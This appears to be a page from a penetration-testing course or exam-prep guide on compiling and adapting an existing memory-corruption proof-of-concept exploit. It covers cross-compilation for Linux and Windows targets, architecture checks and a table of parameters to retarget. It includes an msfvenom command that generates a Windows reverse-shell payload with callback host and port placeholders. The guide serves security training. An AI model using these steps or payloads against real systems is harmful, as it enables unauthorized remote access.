Compile and minimally adapt an existing native or memory-corruption PoC
Needs: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Linux/ELF program
# Linux/ELF program
gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit
32-bit output requires matching headers/libraries
# 32-bit output requires matching headers/libraries
gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32
# Windows PE from Kali
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe
# Windows socket code commonly needs the Winsock import library
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32
# Change one assumption at a time and retain a diff
cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE
Replace an embedded payload only when the PoC documents its constraints
Assumption Evidence-backed edit Target address/port Observed reachable endpoint HTTP/HTTPS and base path Reproduced application request Virtual host or HostheaderResolved application identity Username/password/cookie Valid Block 5 authentication context CSRF/session parsing Actual request/response sequence LHOST/LPORT Address and listener reachable from the target context Command or payload Target OS, interpreter, architecture, size and bad-character constraints File path/name Writable/executable target path and application behavior Timeout/retry Measured service behavior, not blind delay inflation
Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.
Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.
Replace an embedded payload only when the PoC documents its constraints:
# Replace an embedded payload only when the PoC documents its constraints
msfvenom -p windows/shell_reverse_tcp \
LHOST=LHOST LPORT=LPORT \
-f c -v payload \
-b '\x00\x0a\x0d'
Verify → Verify artifact format, architecture, required runtime and actual exploit effect independently.
If it fails → A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise. More detail ↓
Explanation & examples
Compile and minimally adapt an existing native or memory-corruption PoC
- USE WHEN
- An existing C/C++ or platform-specific PoC matches the candidate
- STARTING ACCESS
- An identified component/build and a candidate exploit with reviewable source
- RESULT
- A compatible reviewed exploit artifact with evidence-backed parameter changes
Recognize the clue
Inspect the native PoC's documented target process, compiler flags, ABI and artifact before running it in a target context.
file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT
Artifact: ELF 64-bit x86-64
PoC prerequisite: 32-bit target processMeans: An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.
Confirm: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.
- After validation
- A compatible reviewed artifact and exact target conditions exist: test its bounded effect.
- Ruled out in this context
- The target's architecture/mitigation assumptions do not match: reject that PoC route.
- Still inconclusive
- Compiler success alone leaves loader and exploit applicability unresolved.
Troubleshooting: A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.
Additional prerequisite checks
file exploit.c
uname -m
file COMPILED_ARTIFACT
Linux/ELF program:
32-bit output requires matching headers/libraries:
Windows PE from Kali:
Windows socket code commonly needs the Winsock import library:
Failure cue: undefined references are linker evidence. Identify the missing symbol and documented library; do not delete calls until the binary compiles.
Exec format errormeans the produced format/architecture cannot run in the current environment.
Change one assumption at a time and retain a diff:
Typical adaptations are:
| Assumption | Evidence-backed edit |
|---|---|
| Target address/port | Observed reachable endpoint |
| HTTP/HTTPS and base path | Reproduced application request |
Virtual host or Host header | Resolved application identity |
| Username/password/cookie | Valid Block 5 authentication context |
| CSRF/session parsing | Actual request/response sequence |
| LHOST/LPORT | Address and listener reachable from the target context |
| Command or payload | Target OS, interpreter, architecture, size and bad-character constraints |
| File path/name | Writable/executable target path and application behavior |
| Timeout/retry | Measured service behavior, not blind delay inflation |
Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.
Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.
Review the PoC comments and code for:
- exact vulnerable build and target architecture;
- hard-coded target/callback address and port;
- return address/module assumptions and target profiles;
- recorded offset, available payload space and bad characters;
- payload architecture, type and exit behavior;
- crash/restart and reliability expectations.
Replace an embedded payload only when the PoC documents its constraints:
Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.
Why it works
Compilation architecture and target process architecture must match the PoC's assumptions. Existing offsets, bad-character constraints or payload space are exploit-specific; dedicated exploit development is outside this preparation route.
Worked example · hypothetical
Observation: a reviewed PoC targets a 32-bit process on a 64-bit host. Test: verify its process and compiler requirements before building. Illustrative output: the correct architecture artifact loads while a native 64-bit build did not. Interpretation: now test the documented effect.
New identity, privilege, host or route? Re-enumerate → All topic tasks →